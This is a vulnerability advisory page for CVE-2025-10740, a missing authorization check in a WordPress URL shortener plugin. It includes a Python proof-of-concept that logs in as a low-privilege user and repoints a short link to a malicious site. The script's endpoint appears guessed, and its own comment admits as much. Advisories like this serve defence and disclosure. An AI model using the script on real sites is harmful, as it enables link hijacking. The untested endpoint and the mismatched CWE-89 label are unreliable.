Security Vulnerability Report
中文
CVE-2025-10740 CVSS 6.3 MEDIUM

CVE-2025-10740

Published: 2025-10-24 09:15:41
Last Modified: 2026-04-15 00:35:42

Description

The URL Shortener Plugin For WordPress plugin for WordPress is vulnerable to unauthorized access to functionality provided by the API due to a missing capability check on the verifyRequest function in all versions up to, and including, 3.0.7. This makes it possible for authenticated attackers, with Subscriber-level access and above, to modify links.

CVSS Details

CVSS Score
6.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

URL Shortener Plugin For WordPress <= 3.0.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-10740 PoC - WordPress URL Shortener Plugin Unauthorized Link Modification # Target: WordPress site with URL Shortener Plugin <= 3.0.7 target_url = "http://target-wordpress-site.com" username = "attacker" # Subscriber level account password = "password" # Step 1: Authenticate and get cookies session = requests.Session() login_url = f"{target_url}/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In" } response = session.post(login_url, data=login_data) print(f"Login status: {response.status_code}") # Step 2: Exploit the vulnerability by modifying a link # The verifyRequest function lacks capability check api_url = f"{target_url}/wp-json/exact-links/v1/links/1" modify_payload = { "original_url": "https://legitimate-site.com", "short_url": "https://malicious-site.com" } # Send the modification request as low-privilege user response = session.post(api_url, json=modify_payload) print(f"Modification request status: {response.status_code}") print(f"Response: {response.text}") # Note: This PoC demonstrates unauthorized access to link modification API # Actual exploitation requires identifying valid link IDs and API endpoints

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-10740", "sourceIdentifier": "[email protected]", "published": "2025-10-24T09:15:41.303", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The URL Shortener Plugin For WordPress plugin for WordPress is vulnerable to unauthorized access to functionality provided by the API due to a missing capability check on the verifyRequest function in all versions up to, and including, 3.0.7. This makes it possible for authenticated attackers, with Subscriber-level access and above, to modify links."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/exact-links/trunk/app/Http/Routes/api.php", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/exact-links/trunk/app/Models/LinkAnalytics.php?rev=3210852", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/29cc5016-005e-48e8-b929-5064798f24da?source=cve", "source": "[email protected]"}]}}